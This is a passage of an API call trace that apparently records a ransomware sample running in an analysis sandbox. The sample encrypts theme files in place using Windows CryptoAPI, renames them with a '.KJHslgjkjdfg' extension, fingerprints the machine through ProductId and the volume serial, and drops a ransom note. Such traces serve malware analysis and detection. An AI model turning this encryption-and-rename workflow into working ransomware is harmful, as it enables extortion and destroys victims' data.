hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.689] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.689] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.689] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xad0e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xad0e, lpOverlapped=0x0) returned 1 [0178.705] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xad10, dwBufLen=0xad10 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xad10) returned 1 [0178.705] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.705] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xad10, lpOverlapped=0x0) returned 1 [0178.706] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.706] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xade4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.706] SetEndOfFile (hFile=0x12c) returned 1 [0178.709] GetProcessHeap () returned 0x990000 [0178.709] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.709] GetProcessHeap () returned 0x990000 [0178.709] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.716] CloseHandle (hObject=0x12c) returned 1 [0178.716] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.716] GetProcessHeap () returned 0x990000 [0178.716] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.716] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.716] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.717] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.717] GetProcessHeap () returned 0x990000 [0178.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.717] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.717] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.717] GetProcessHeap () returned 0x990000 [0178.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.723] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.723] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.723] GetProcessHeap () returned 0x990000 [0178.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.723] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.723] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.723] GetProcessHeap () returned 0x990000 [0178.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.723] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.723] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.723] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.723] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.724] RegCloseKey (hKey=0x12c) returned 0x0 [0178.724] GetProcessHeap () returned 0x990000 [0178.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.724] GetProcessHeap () returned 0x990000 [0178.724] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.724] GetProcessHeap () returned 0x990000 [0178.724] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.724] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.724] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.724] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.724] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.724] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.724] GetProcessHeap () returned 0x990000 [0178.725] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.725] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.725] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.725] GetProcessHeap () returned 0x990000 [0178.725] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.725] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\readme-warning.txt") returned 83 [0178.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.725] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.727] CloseHandle (hObject=0x12c) returned 1 [0178.727] GetProcessHeap () returned 0x990000 [0178.727] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.727] GetProcessHeap () returned 0x990000 [0178.727] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.727] GetProcessHeap () returned 0x990000 [0178.727] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.727] GetProcessHeap () returned 0x990000 [0178.727] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.727] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.727] GetProcessHeap () returned 0x990000 [0178.728] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.728] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0178.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0178.729] GetProcessHeap () returned 0x990000 [0178.742] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.742] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0178.742] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0178.744] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0178.744] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.744] GetProcessHeap () returned 0x990000 [0178.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.745] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0178.745] CryptDestroyKey (hKey=0x9b6628) returned 1 [0178.745] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0178.745] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0178.745] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0178.745] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0178.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0178.745] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0178.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0178.745] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.746] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c6c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c6c, lpOverlapped=0x0) returned 1 [0178.747] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c70, dwBufLen=0x1c70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c70) returned 1 [0178.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.747] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c70, lpOverlapped=0x0) returned 1 [0178.747] CryptDestroyKey (hKey=0x9b6628) returned 1 [0178.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.747] SetEndOfFile (hFile=0x130) returned 1 [0178.750] GetProcessHeap () returned 0x990000 [0178.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.750] GetProcessHeap () returned 0x990000 [0178.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.kjhslgjkjdfg")) returned 1 [0178.751] CloseHandle (hObject=0x130) returned 1 [0178.751] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WATER", cAlternateFileName="")) returned 1 [0178.752] GetProcessHeap () returned 0x990000 [0178.752] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8c) returned 0x9b0940 [0178.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.752] GetProcessHeap () returned 0x990000 [0178.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.752] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0178.752] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.752] GetProcessHeap () returned 0x990000 [0178.752] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28e) returned 0x9b1eb0 [0178.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.753] GetProcessHeap () returned 0x990000 [0178.753] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.753] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.753] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.753] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.755] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.756] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.756] GetProcessHeap () returned 0x990000 [0178.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.756] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.756] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.756] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.756] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.756] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.756] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.756] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.757] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.757] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.757] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.757] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.757] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa6c, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xa6c, lpOverlapped=0x0) returned 1 [0178.757] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa70, dwBufLen=0xa70 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa70) returned 1 [0178.757] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.757] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xa70, lpOverlapped=0x0) returned 1 [0178.757] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.757] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.758] SetEndOfFile (hFile=0x12c) returned 1 [0178.760] GetProcessHeap () returned 0x990000 [0178.760] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.761] GetProcessHeap () returned 0x990000 [0178.761] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.769] CloseHandle (hObject=0x12c) returned 1 [0178.769] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.769] GetProcessHeap () returned 0x990000 [0178.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.770] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.770] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.770] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0178.772] CryptImportKey (in: hProv=0x9acd90, 